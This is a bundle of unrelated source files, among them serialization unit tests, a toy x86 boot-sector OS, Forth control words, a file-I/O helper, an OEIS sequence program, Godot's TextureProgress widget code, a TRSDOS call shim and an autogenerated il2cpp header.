reversed_hex(dsha256(''.join(struct.pack('<f', x) for x in range(0,1000)))) == '8e8b4cf3e4df8b332057e3e23af42ebc663b61e0495d5e7e32d85099d7f3fe0c'
reversed_hex(dsha256(''.join(struct.pack('<d', x) for x in range(0,1000)))) == '43d0c82591953c4eafe114590d392676a01585d25b25d433557f0d7878b23f96'
*/
BOOST_AUTO_TEST_CASE(floats)
{
CDataStream ss(SER_DISK, 0);
// encode
for (int i = 0; i < 1000; i++) {
ss << float(i);
}
BOOST_CHECK(Hash(ss.begin(), ss.end()) == uint256S("8e8b4cf3e4df8b332057e3e23af42ebc663b61e0495d5e7e32d85099d7f3fe0c"));
// decode
for (int i = 0; i < 1000; i++) {
float j;
ss >> j;
BOOST_CHECK_MESSAGE(i == j, "decoded:" << j << " expected:" << i);
}
}
BOOST_AUTO_TEST_CASE(doubles)
{
CDataStream ss(SER_DISK, 0);
// encode
for (int i = 0; i < 1000; i++) {
ss << double(i);
}
BOOST_CHECK(Hash(ss.begin(), ss.end()) == uint256S("43d0c82591953c4eafe114590d392676a01585d25b25d433557f0d7878b23f96"));
// decode
for (int i = 0; i < 1000; i++) {
double j;
ss >> j;
BOOST_CHECK_MESSAGE(i == j, "decoded:" << j << " expected:" << i);
}
}
BOOST_AUTO_TEST_CASE(varints)
{
// encode
CDataStream ss(SER_DISK, 0);
CDataStream::size_type size = 0;
for (int i = 0; i < 100000; i++) {
ss << VARINT(i);
size += ::GetSerializeSize(VARINT(i), 0, 0);
BOOST_CHECK(size == ss.size());
}
for (uint64_t i = 0; i < 100000000000ULL; i += 999999937) {
ss << VARINT(i);
size += ::GetSerializeSize(VARINT(i), 0, 0);
BOOST_CHECK(size == ss.size());
}
// decode
for (int i = 0; i < 100000; i++) {
int j = -1;
ss >> VARINT(j);
BOOST_CHECK_MESSAGE(i == j, "decoded:" << j << " expected:" << i);
}
for (uint64_t i = 0; i < 100000000000ULL; i += 999999937) {
uint64_t j = -1;
ss >> VARINT(j);
BOOST_CHECK_MESSAGE(i == j, "decoded:" << j << " expected:" << i);
}
}
BOOST_AUTO_TEST_CASE(varints_bitpatterns)
{
CDataStream ss(SER_DISK, 0);
ss << VARINT(0); BOOST_CHECK_EQUAL(HexStr(ss), "00"); ss.clear();
ss << VARINT(0x7f); BOOST_CHECK_EQUAL(HexStr(ss), "7f"); ss.clear();
ss << VARINT((int8_t)0x7f); BOOST_CHECK_EQUAL(HexStr(ss), "7f"); ss.clear();
ss << VARINT(0x80); BOOST_CHECK_EQUAL(HexStr(ss), "8000"); ss.clear();
ss << VARINT((uint8_t)0x80); BOOST_CHECK_EQUAL(HexStr(ss), "8000"); ss.clear();
ss << VARINT(0x1234); BOOST_CHECK_EQUAL(HexStr(ss), "a334"); ss.clear();
ss << VARINT((int16_t)0x1234); BOOST_CHECK_EQUAL(HexStr(ss), "a334"); ss.clear();
ss << VARINT(0xffff); BOOST_CHECK_EQUAL(HexStr(ss), "82fe7f"); ss.clear();
ss << VARINT((uint16_t)0xffff); BOOST_CHECK_EQUAL(HexStr(ss), "82fe7f"); ss.clear();
ss << VARINT(0x123456); BOOST_CHECK_EQUAL(HexStr(ss), "c7e756"); ss.clear();
ss << VARINT((int32_t)0x123456); BOOST_CHECK_EQUAL(HexStr(ss), "c7e756"); ss.clear();
ss << VARINT(0x80123456U); BOOST_CHECK_EQUAL(HexStr(ss), "86ffc7e756"); ss.clear();
ss << VARINT((uint32_t)0x80123456U); BOOST_CHECK_EQUAL(HexStr(ss), "86ffc7e756"); ss.clear();
ss << VARINT(0xffffffff); BOOST_CHECK_EQUAL(HexStr(ss), "8efefefe7f"); ss.clear();
ss << VARINT(0x7fffffffffffffffLL); BOOST_CHECK_EQUAL(HexStr(ss), "fefefefefefefefe7f"); ss.clear();
ss << VARINT(0xffffffffffffffffULL); BOOST_CHECK_EQUAL(HexStr(ss), "80fefefefefefefefe7f"); ss.clear();
}
BOOST_AUTO_TEST_CASE(compactsize)
{
CDataStream ss(SER_DISK, 0);
std::vector<char>::size_type i, j;
for (i = 1; i <= MAX_SIZE; i *= 2)
{
WriteCompactSize(ss, i-1);
WriteCompactSize(ss, i);
}
for (i = 1; i <= MAX_SIZE; i *= 2)
{
j = ReadCompactSize(ss);
BOOST_CHECK_MESSAGE((i-1) == j, "decoded:" << j << " expected:" << (i-1));
j = ReadCompactSize(ss);
BOOST_CHECK_MESSAGE(i == j, "decoded:" << j << " expected:" << i);
}
}
static bool isCanonicalException(const std::ios_base::failure& ex)
{
std::ios_base::failure expectedException("non-canonical ReadCompactSize()");
// The string returned by what() can be different for different platforms.
// Instead of directly comparing the ex.what() with an expected string,
// create an instance of exception to see if ex.what() matches
// the expected explanatory string returned by the exception instance.
return strcmp(expectedException.what(), ex.what()) == 0;
}
BOOST_AUTO_TEST_CASE(noncanonical)
{
// Write some non-canonical CompactSize encodings, and
// make sure an exception is thrown when read back.
CDataStream ss(SER_DISK, 0);
std::vector<char>::size_type n;
// zero encoded with three bytes:
ss.write("\xfd\x00\x00", 3);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
// 0xfc encoded with three bytes:
ss.write("\xfd\xfc\x00", 3);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
// 0xfd encoded with three bytes is OK:
ss.write("\xfd\xfd\x00", 3);
n = ReadCompactSize(ss);
BOOST_CHECK(n == 0xfd);
// zero encoded with five bytes:
ss.write("\xfe\x00\x00\x00\x00", 5);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
// 0xffff encoded with five bytes:
ss.write("\xfe\xff\xff\x00\x00", 5);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
// zero encoded with nine bytes:
ss.write("\xff\x00\x00\x00\x00\x00\x00\x00\x00", 9);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
// 0x01ffffff encoded with nine bytes:
ss.write("\xff\xff\xff\xff\x01\x00\x00\x00\x00", 9);
BOOST_CHECK_EXCEPTION(ReadCompactSize(ss), std::ios_base::failure, isCanonicalException);
}
BOOST_AUTO_TEST_CASE(insert_delete)
{
// Test inserting/deleting bytes.
CDataStream ss(SER_DISK, 0);
BOOST_CHECK_EQUAL(ss.size(), 0);
ss.write("\x00\x01\x02\xff", 4);
BOOST_CHECK_EQUAL(ss.size(), 4);
char c = (char)11;
// Inserting at beginning/end/middle:
ss.insert(ss.begin(), c);
BOOST_CHECK_EQUAL(ss.size(), 5);
BOOST_CHECK_EQUAL(ss[0], c);
BOOST_CHECK_EQUAL(ss[1], 0);
ss.insert(ss.end(), c);
BOOST_CHECK_EQUAL(ss.size(), 6);
BOOST_CHECK_EQUAL(ss[4], (char)0xff);
BOOST_CHECK_EQUAL(ss[5], c);
ss.insert(ss.begin()+2, c);
BOOST_CHECK_EQUAL(ss.size(), 7);
BOOST_CHECK_EQUAL(ss[2], c);
// Delete at beginning/end/middle
ss.erase(ss.begin());
BOOST_CHECK_EQUAL(ss.size(), 6);
BOOST_CHECK_EQUAL(ss[0], 0);
ss.erase(ss.begin()+ss.size()-1);
BOOST_CHECK_EQUAL(ss.size(), 5);
BOOST_CHECK_EQUAL(ss[4], (char)0xff);
ss.erase(ss.begin()+1);
BOOST_CHECK_EQUAL(ss.size(), 4);
BOOST_CHECK_EQUAL(ss[0], 0);
BOOST_CHECK_EQUAL(ss[1], 1);
BOOST_CHECK_EQUAL(ss[2], 2);
BOOST_CHECK_EQUAL(ss[3], (char)0xff);
// Make sure GetAndClear does the right thing:
CSerializeData d;
ss.GetAndClear(d);
BOOST_CHECK_EQUAL(ss.size(), 0);
}
BOOST_AUTO_TEST_CASE(class_methods)
{
int intval(100);
bool boolval(true);
std::string stringval("testing");
const char* charstrval("testing charstr");
CMutableTransaction txval;
CSerializeMethodsTestSingle methodtest1(intval, boolval, stringval, charstrval, txval);
CSerializeMethodsTestMany methodtest2(intval, boolval, stringval, charstrval, txval);
CSerializeMethodsTestSingle methodtest3;
CSerializeMethodsTestMany methodtest4;
CDataStream ss(SER_DISK, PROTOCOL_VERSION);
BOOST_CHECK(methodtest1 == methodtest2);
ss << methodtest1;
ss >> methodtest4;
ss << methodtest2;
ss >> methodtest3;
BOOST_CHECK(methodtest1 == methodtest2);
BOOST_CHECK(methodtest2 == methodtest3);
BOOST_CHECK(methodtest3 == methodtest4);
CDataStream ss2(SER_DISK, PROTOCOL_VERSION, intval, boolval, stringval, FLATDATA(charstrval), txval);
ss2 >> methodtest3;
BOOST_CHECK(methodtest3 == methodtest4);
}
BOOST_AUTO_TEST_SUITE_END()
|
; author <pasecinic.nichita>
; FAF 192
; 04.12.2021
org 0x7C00 ; add 0x7C00 to label addresses
bits 16 ; tell the assembler we want 16 bit code
; print OS welcome message
mov si, msg
call print
mainloop:
; print the prompt promptol
mov si, prompt
call print
; get user input and save it to buff
mov di, buff
call input
; ignore blank lines (enters)
mov si, buff
cmp byte [si], 0
je mainloop
; handle help command
mov si, buff
mov di, help
call compare ; compare user input with help command keyword
jc .help_cmd ; if carry flag is set go to the help command
; handle about command
mov si, buff
mov di, about
call compare
jc .about_cmd
; handle time command
mov si, buff
mov di, time
call compare
jc .time_cmd
mov si, buff
mov di, box
call compare
jc .draw_box
; else, show imvalid command helper message
mov si, invalidMsg
call print
; again to the main loop
jmp mainloop
; --------------------------------------------------------------------------
; ---------------------------- command handlers ----------------------------
; --------------------------------------------------------------------------
; print the os about message
.about_cmd:
mov si, aboutMsg
call print
jmp mainloop
; print the os help message
.help_cmd:
mov si, helpMsg
call print
jmp mainloop
; will draw a square
.draw_box:
mov ah, 0 ; set display mode
mov al, 13h ; 13h = 320x200
int 10h
; square configuration
mov si, 20 ; x - length x == y
mov di, 20 ; y - lenght x == y
mov al, 5 ; color - magenta
mov cx, 10 ; x - start position
mov dx, 10 ; x - start position
push si ; save x-length
.for_x:
push di ; save y-length
.for_y:
pusha
mov bh, 0 ; page number (0 is default)
add cx, si ; cx = x-coordinate
add dx, di ; dx = y-coordinate
mov ah, 0xC ; write pixel at coordinate
int 0x10 ; draw it
popa
sub di, 1 ; decrease di by one and set flags
jnz .for_y ; repeat for y-length times
pop di ; restore di to y-length
sub si, 1 ; decrease si by one and set flags
jnz .for_x ; repeat for x-length times
pop si
; delay 1 second
mov cx, 0fh
mov dx, 4240h
mov ah, 86h
int 15h
; reset to default video mode
mov ax, 0003h
int 10h
jmp mainloop ; back to the mainloop
; print the os current time
.time_cmd:
mov ah, 02h ; read sys time func
int 0x1A ; read time
mov al, ch ; get hour
shr al, 4 ; discard one's place for now
add al, 48 ; add ASCII code of digit 0
mov [timeMsg+0], al ; set ten's place of hour in our time string template
mov al, ch ; get hour again
and al, 0x0F ; discard ten's place this time
add al, 48 ; add ASCII code of digit 0 again
mov [timeMsg+1], al ; set one's place of hour in our time string template
mov al, cl ; get minute
shr al, 4
add al, 48
mov [timeMsg+4], al ; set ten's place of minute
mov al, cl ; get minute again
and al, 0x0F
add al, 48
mov [timeMsg+5], al ; set one's place of minute
mov al, dh ; get second
shr al, 4
add al, 48
mov [timeMsg+8], al
mov al, dh
and al, 0x0F
add al, 48
mov [timeMsg+9], al
; print the system time
mov si, timeMsg
call print
; back to the mainloop
jmp mainloop
; compare the string from si witht the string from di
; if both are the same -> sets the carry flag so it could
; be used with jc (jump if condition is met)
compare:
.loop:
mov al, [si] ; byte from si
mov bl, [di] ; byte from di
cmp al, bl
jne .false ; jmp to this if not equal
cmp al, 0
je .true
inc di
inc si
jmp .loop
.false:
clc ; clear carry flag
ret
.true:
stc ; set carry flag
ret
; gets the user input and stores it to buff
; if user pressed enter then the flow goes back to mainloop
input:
xor cl, cl ; set cl to zero
.loop:
mov ah, 0 ; read the keypress
int 16h ; wait for keypress
cmp al, 0x08 ; if backspase pressed
je .backspace ; delete the last char
cmp al, 0x0D ; if enter pressed
je .done ; go to enter handler (done)
cmp cl, 0x5 ; if 5 chars were alreay inputted
je .loop ; allow backspace & enter
mov ah, 0hE
int 10h ; print the char
stosb ; put character in buffer
inc cl ; increment cl
jmp .loop ; again read char
; backspace handler
.backspace:
cmp cl, 0 ; if is beginning of string
je .loop ; ingore the keypress
dec di
mov byte [di], 0 ; delete char
dec cl ; decrement counter
mov ah, 0hE
mov al, 0x08
int 10h ; backspace
mov al, ' '
int 10h ; blank char
mov al, 0x08
int 10h ; backspace again
jmp .loop ; go the input loop
; enter handler
.done:
mov al, 0 ; null terminator
stosb ; store string
; newline
mov ah, 0Eh
mov al, 0x0D
int 10h
mov al, 0x0A
int 10h
ret
; prints the string from si register
print:
lodsb ; load a bite from si
or al, al ; if al is 0
jz .done ; jump if zero to .done
mov ah, 0hE
int 10h ; print
jmp print
.done:
ret
; buffer for user input (max command is 5 chars long)
buff: times 5 db 0
; custom commands keywords
help: db 'help', 0
time: db 'time', 0
about: db 'about', 0
box: db 'box', 0
msg: db 'OS', 0x0D, 0x0A, 0
prompt: db '>', 0
helpMsg: db 'available commands: help, about, time, box', 0x0D, 0x0A, 0
invalidMsg: db 'invalid command :( please use help command to list all commands', 0x0D, 0x0A, 0
aboutMsg: db ' SIMPLE OS :)', 0x0D, 0x0A, 0
timeMsg: db '00h:00m:00s', 0x0D, 0x0A, 0 ; time command string placehoder
times 510-($-$$) db 0
dw 0xaa55 ; some BIOSes require this signature |
dcode BRANCH,6,F_COMPILEONLY,
nxa
tax
txi
nxt
dcode 0BRANCH,7,F_COMPILEONLY,ZBRANCH
nxa
ply
bne ZBRANCH_false
tax
txi
ZBRANCH_false:
nxt
dword RECURSE,7,F_IMMED+F_COMPILEONLY,
.wp LATEST
.wp PEEK
.wp TCFA
.wp COMMA
.wp EXIT
dword IF,2,F_IMMED+F_COMPILEONLY,
.comp ZBRANCH
.wp HERE
.comp 0
.wp EXIT
dword THEN,4,F_IMMED+F_COMPILEONLY,
.wp HERE
.wp SWAP
.wp POKE
.wp EXIT
dword ELSE,4,F_IMMED+F_COMPILEONLY,
.comp BRANCH
.wp HERE
.comp 0
.wp SWAP
.wp THEN
.wp EXIT
dword BEGIN,5,F_IMMED+F_COMPILEONLY,
.wp HERE
.wp EXIT
dword UNTIL,5,F_IMMED+F_COMPILEONLY,
.comp ZBRANCH
.wp COMMA
.wp EXIT
dword AGAIN,5,F_IMMED+F_COMPILEONLY,
.comp BRANCH
.wp COMMA
.wp EXIT
dword UNLESS,6,F_IMMED+F_COMPILEONLY,
.comp ZEQU
.wp IF
.wp EXIT
dword WHILE,5,F_IMMED+F_COMPILEONLY,
.comp ZBRANCH
.wp HERE
.comp 0
.wp EXIT
dword REPEAT,6,F_IMMED+F_COMPILEONLY,
.comp BRANCH
.wp SWAP
.wp COMMA
.wp HERE
.wp SWAP
.wp POKE
.wp EXIT
dword DO,2,F_IMMED+F_COMPILEONLY,
.wp ZERO
.wp HERE
.comp TWOTOR
.wp EXIT
dword ?DO,3,F_IMMED+F_COMPILEONLY,QDO
.comp TWODUP
.comp NEQU
.comp ZBRANCH
.wp HERE
.comp 0
.wp HERE
.comp TWOTOR
.wp EXIT
dword +LOOP,5,F_IMMED+F_COMPILEONLY,PLUSLOOP
.comp TWOFROMR
.comp ROT
.comp ADD
.comp TWODUP
.comp EQU
.comp ZBRANCH
.wp COMMA
.comp TWODROP
.wp DUP
.wp ZBRANCH
.wp LOOP_noqdo
.wp HERE
.wp SWAP
.wp POKE
.wp EXIT
LOOP_noqdo:
.wp DROP
.wp EXIT
dword LOOP,4,F_IMMED+F_COMPILEONLY,
.clt 1
.wp PLUSLOOP
.wp EXIT
dcode UNLOOP,6,, ; R: ( a b -- )
rla
rla
nxt
dcode I,1,,
lda $03, r
pha
nxt
dcode J,1,,
lda $07, r
pha
nxt
dcode K,1,,
lda $0b, r
pha
nxt |
#include "FileHelper.h"
#include <stdio.h>
bool IBLLib::readFile(const char* _path, std::vector<char>& _outBuffer)
{
FILE* file = fopen(_path, "rb");
if (file == nullptr)
{
printf("Failed to open file %s\n", _path);
return false;
}
// obtain file size:
fseek(file, 0, SEEK_END);
auto size = ftell(file);
rewind(file);
_outBuffer.resize(size);
// read the file
auto sizeRead = fread(_outBuffer.data(), sizeof(char), size, file);
fclose(file);
return sizeRead > 0u;
}
bool IBLLib::writeFile(const char* _path, const char* _data, size_t _bytes)
{
FILE* file = fopen(_path, "wb");
if (file == nullptr)
{
printf("Failed to open file %s\n", _path);
return false;
}
// write the file
auto sizeWritten = fwrite(_data, sizeof(char), _bytes, file);
fclose(file);
return sizeWritten > 0u;
}
|
; A184218: a(n) = largest k such that A000217(n+1) = A000217(n) + (A000217(n) mod k), or 0 if no such k exists.
; 0,0,0,0,9,14,20,27,35,44,54,65,77,90,104,119,135,152,170,189,209,230,252,275,299,324,350,377,405,434,464,495,527,560,594,629,665,702,740,779,819,860,902,945,989,1034,1080,1127,1175,1224,1274,1325,1377,1430,1484,1539,1595,1652,1710,1769,1829,1890,1952,2015,2079,2144,2210,2277,2345,2414,2484,2555,2627,2700,2774,2849,2925,3002,3080,3159,3239,3320,3402,3485,3569,3654,3740,3827,3915,4004,4094,4185,4277,4370,4464,4559,4655,4752,4850,4949
sub $1,$0
mov $0,2
lpb $0
div $0,10
add $0,$1
div $0,4
lpe
bin $1,$0
sub $1,1
mov $0,$1
|
/*************************************************************************/
/* texture_progress.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* http://www.godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2017 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2017 Godot Engine contributors (cf. AUTHORS.md) */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "texture_progress.h"
void TextureProgress::set_under_texture(const Ref<Texture> &p_texture) {
under = p_texture;
update();
minimum_size_changed();
}
Ref<Texture> TextureProgress::get_under_texture() const {
return under;
}
void TextureProgress::set_over_texture(const Ref<Texture> &p_texture) {
over = p_texture;
update();
if (under.is_null()) {
minimum_size_changed();
}
}
Ref<Texture> TextureProgress::get_over_texture() const {
return over;
}
Size2 TextureProgress::get_minimum_size() const {
if (under.is_valid())
return under->get_size();
else if (over.is_valid())
return over->get_size();
else if (progress.is_valid())
return progress->get_size();
return Size2(1, 1);
}
void TextureProgress::set_progress_texture(const Ref<Texture> &p_texture) {
progress = p_texture;
update();
minimum_size_changed();
}
Ref<Texture> TextureProgress::get_progress_texture() const {
return progress;
}
Point2 TextureProgress::unit_val_to_uv(float val) {
if (progress.is_null())
return Point2();
if (val < 0)
val += 1;
if (val > 1)
val -= 1;
Point2 p = get_relative_center();
if (val < 0.125)
return Point2(p.x + (1 - p.x) * val * 8, 0);
if (val < 0.25)
return Point2(1, p.y * (val - 0.125) * 8);
if (val < 0.375)
return Point2(1, p.y + (1 - p.y) * (val - 0.25) * 8);
if (val < 0.5)
return Point2(1 - (1 - p.x) * (val - 0.375) * 8, 1);
if (val < 0.625)
return Point2(p.x * (1 - (val - 0.5) * 8), 1);
if (val < 0.75)
return Point2(0, 1 - ((1 - p.y) * (val - 0.625) * 8));
if (val < 0.875)
return Point2(0, p.y - p.y * (val - 0.75) * 8);
else
return Point2(p.x * (val - 0.875) * 8, 0);
}
Point2 TextureProgress::get_relative_center() {
if (progress.is_null())
return Point2();
Point2 p = progress->get_size() / 2;
p += rad_center_off;
p.x /= progress->get_width();
p.y /= progress->get_height();
p.x = CLAMP(p.x, 0, 1);
p.y = CLAMP(p.y, 0, 1);
return p;
}
void TextureProgress::_notification(int p_what) {
const float corners[12] = { -0.125, -0.375, -0.625, -0.875, 0.125, 0.375, 0.625, 0.875, 1.125, 1.375, 1.625, 1.875 };
switch (p_what) {
case NOTIFICATION_DRAW: {
if (under.is_valid())
draw_texture(under, Point2());
if (progress.is_valid()) {
Size2 s = progress->get_size();
switch (mode) {
case FILL_LEFT_TO_RIGHT: {
Rect2 region = Rect2(Point2(), Size2(s.x * get_as_ratio(), s.y));
draw_texture_rect_region(progress, region, region);
} break;
case FILL_RIGHT_TO_LEFT: {
Rect2 region = Rect2(Point2(s.x - s.x * get_as_ratio(), 0), Size2(s.x * get_as_ratio(), s.y));
draw_texture_rect_region(progress, region, region);
} break;
case FILL_TOP_TO_BOTTOM: {
Rect2 region = Rect2(Point2(), Size2(s.x, s.y * get_as_ratio()));
draw_texture_rect_region(progress, region, region);
} break;
case FILL_BOTTOM_TO_TOP: {
Rect2 region = Rect2(Point2(0, s.y - s.y * get_as_ratio()), Size2(s.x, s.y * get_as_ratio()));
draw_texture_rect_region(progress, region, region);
} break;
case FILL_CLOCKWISE:
case FILL_COUNTER_CLOCKWISE: {
float val = get_as_ratio() * rad_max_degrees / 360;
if (val == 1) {
Rect2 region = Rect2(Point2(), s);
draw_texture_rect_region(progress, region, region);
} else if (val != 0) {
Array pts;
float direction = mode == FILL_CLOCKWISE ? 1 : -1;
float start = rad_init_angle / 360;
float end = start + direction * val;
pts.append(start);
pts.append(end);
float from = MIN(start, end);
float to = MAX(start, end);
for (int i = 0; i < 12; i++)
if (corners[i] > from && corners[i] < to)
pts.append(corners[i]);
pts.sort();
Vector<Point2> uvs;
Vector<Point2> points;
uvs.push_back(get_relative_center());
points.push_back(Point2(s.x * get_relative_center().x, s.y * get_relative_center().y));
for (int i = 0; i < pts.size(); i++) {
Point2 uv = unit_val_to_uv(pts[i]);
if (uvs.find(uv) >= 0)
continue;
uvs.push_back(uv);
points.push_back(Point2(uv.x * s.x, uv.y * s.y));
}
draw_polygon(points, Vector<Color>(), uvs, progress);
}
if (get_tree()->is_editor_hint()) {
Point2 p = progress->get_size();
p.x *= get_relative_center().x;
p.y *= get_relative_center().y;
p = p.floor();
draw_line(p - Point2(8, 0), p + Point2(8, 0), Color(0.9, 0.5, 0.5), 2);
draw_line(p - Point2(0, 8), p + Point2(0, 8), Color(0.9, 0.5, 0.5), 2);
}
} break;
default:
draw_texture_rect_region(progress, Rect2(Point2(), Size2(s.x * get_as_ratio(), s.y)), Rect2(Point2(), Size2(s.x * get_as_ratio(), s.y)));
}
}
if (over.is_valid())
draw_texture(over, Point2());
} break;
}
}
void TextureProgress::set_fill_mode(int p_fill) {
ERR_FAIL_INDEX(p_fill, 6);
mode = (FillMode)p_fill;
update();
}
int TextureProgress::get_fill_mode() {
return mode;
}
void TextureProgress::set_radial_initial_angle(float p_angle) {
while (p_angle > 360)
p_angle -= 360;
while (p_angle < 0)
p_angle += 360;
rad_init_angle = p_angle;
update();
}
float TextureProgress::get_radial_initial_angle() {
return rad_init_angle;
}
void TextureProgress::set_fill_degrees(float p_angle) {
rad_max_degrees = CLAMP(p_angle, 0, 360);
update();
}
float TextureProgress::get_fill_degrees() {
return rad_max_degrees;
}
void TextureProgress::set_radial_center_offset(const Point2 &p_off) {
rad_center_off = p_off;
update();
}
Point2 TextureProgress::get_radial_center_offset() {
return rad_center_off;
}
void TextureProgress::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_under_texture", "tex"), &TextureProgress::set_under_texture);
ClassDB::bind_method(D_METHOD("get_under_texture"), &TextureProgress::get_under_texture);
ClassDB::bind_method(D_METHOD("set_progress_texture", "tex"), &TextureProgress::set_progress_texture);
ClassDB::bind_method(D_METHOD("get_progress_texture"), &TextureProgress::get_progress_texture);
ClassDB::bind_method(D_METHOD("set_over_texture", "tex"), &TextureProgress::set_over_texture);
ClassDB::bind_method(D_METHOD("get_over_texture"), &TextureProgress::get_over_texture);
ClassDB::bind_method(D_METHOD("set_fill_mode", "mode"), &TextureProgress::set_fill_mode);
ClassDB::bind_method(D_METHOD("get_fill_mode"), &TextureProgress::get_fill_mode);
ClassDB::bind_method(D_METHOD("set_radial_initial_angle", "mode"), &TextureProgress::set_radial_initial_angle);
ClassDB::bind_method(D_METHOD("get_radial_initial_angle"), &TextureProgress::get_radial_initial_angle);
ClassDB::bind_method(D_METHOD("set_radial_center_offset", "mode"), &TextureProgress::set_radial_center_offset);
ClassDB::bind_method(D_METHOD("get_radial_center_offset"), &TextureProgress::get_radial_center_offset);
ClassDB::bind_method(D_METHOD("set_fill_degrees", "mode"), &TextureProgress::set_fill_degrees);
ClassDB::bind_method(D_METHOD("get_fill_degrees"), &TextureProgress::get_fill_degrees);
ADD_GROUP("Textures", "texture_");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "texture_under", PROPERTY_HINT_RESOURCE_TYPE, "Texture"), "set_under_texture", "get_under_texture");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "texture_over", PROPERTY_HINT_RESOURCE_TYPE, "Texture"), "set_over_texture", "get_over_texture");
ADD_PROPERTY(PropertyInfo(Variant::OBJECT, "texture_progress", PROPERTY_HINT_RESOURCE_TYPE, "Texture"), "set_progress_texture", "get_progress_texture");
ADD_PROPERTYNZ(PropertyInfo(Variant::INT, "fill_mode", PROPERTY_HINT_ENUM, "Left to Right,Right to Left,Top to Bottom,Bottom to Top,Clockwise,Counter Clockwise"), "set_fill_mode", "get_fill_mode");
ADD_GROUP("Radial Fill", "radial_");
ADD_PROPERTYNZ(PropertyInfo(Variant::REAL, "radial_initial_angle", PROPERTY_HINT_RANGE, "0.0,360.0,0.1,slider"), "set_radial_initial_angle", "get_radial_initial_angle");
ADD_PROPERTYNZ(PropertyInfo(Variant::REAL, "radial_fill_degrees", PROPERTY_HINT_RANGE, "0.0,360.0,0.1,slider"), "set_fill_degrees", "get_fill_degrees");
ADD_PROPERTY(PropertyInfo(Variant::VECTOR2, "radial_center_offset"), "set_radial_center_offset", "get_radial_center_offset");
BIND_CONSTANT(FILL_LEFT_TO_RIGHT);
BIND_CONSTANT(FILL_RIGHT_TO_LEFT);
BIND_CONSTANT(FILL_TOP_TO_BOTTOM);
BIND_CONSTANT(FILL_BOTTOM_TO_TOP);
BIND_CONSTANT(FILL_CLOCKWISE);
BIND_CONSTANT(FILL_COUNTER_CLOCKWISE);
}
TextureProgress::TextureProgress() {
mode = FILL_LEFT_TO_RIGHT;
rad_init_angle = 0;
rad_center_off = Point2();
rad_max_degrees = 360;
set_mouse_filter(MOUSE_FILTER_PASS);
}
|
;
; Crazy way to call TRSDOS functions.
;
;
; On entry:
; trsdos (function,HL,DE) --or-- trsdos (function,A,DE)
;
; On exit: Return code = A (e.g. an error code or the resulting value)
;
SECTION code_clib
PUBLIC trsdos_callee
PUBLIC _trsdos_callee
EXTERN errno
PUBLIC asm_trsdos
; int (unsigned int fn, char *hl_reg, char *de_reg);
INCLUDE "target/trs80/def/doscalls.def"
.trsdos_callee
._trsdos_callee
POP BC ; ret addr
POP DE
POP HL
POP IX
PUSH BC
asm_trsdos:
ld bc,retaddr
push bc
ld b,0
ld a,l
JP (IX)
retaddr:
ld l,a ; Error code
ld (errno),a
ld h,0
ret
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
#pragma pack(push, 8)
// Begin includes
#include "extern/beatsaber-hook/shared/utils/typedefs.h"
// Including type: System.MulticastDelegate
#include "System/MulticastDelegate.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "extern/beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Begin forward declares
// Forward declaring namespace: System
namespace System {
// Forward declaring type: IAsyncResult
class IAsyncResult;
// Forward declaring type: AsyncCallback
class AsyncCallback;
}
// Completed forward declares
// Type namespace: System
namespace System {
// Autogenerated type: System.Predicate`1
template<typename T>
class Predicate_1 : public System::MulticastDelegate {
public:
// public System.Void .ctor(System.Object object, System.IntPtr method)
// Offset: 0xFFFFFFFF
static Predicate_1<T>* New_ctor(::Il2CppObject* object, System::IntPtr method) {
return (Predicate_1<T>*)THROW_UNLESS(il2cpp_utils::New(il2cpp_utils::il2cpp_type_check::il2cpp_no_arg_class<Predicate_1<T>*>::get(), object, method));
}
// public System.Boolean Invoke(T obj)
// Offset: 0xFFFFFFFF
bool Invoke(T obj) {
return THROW_UNLESS(il2cpp_utils::RunMethod<bool>(this, "Invoke", obj));
}
// public System.IAsyncResult BeginInvoke(T obj, System.AsyncCallback callback, System.Object object)
// Offset: 0xFFFFFFFF
System::IAsyncResult* BeginInvoke(T obj, System::AsyncCallback* callback, ::Il2CppObject* object) {
return THROW_UNLESS(il2cpp_utils::RunMethod<System::IAsyncResult*>(this, "BeginInvoke", obj, callback, object));
}
// public System.Boolean EndInvoke(System.IAsyncResult result)
// Offset: 0xFFFFFFFF
bool EndInvoke(System::IAsyncResult* result) {
return THROW_UNLESS(il2cpp_utils::RunMethod<bool>(this, "EndInvoke", result));
}
}; // System.Predicate`1
}
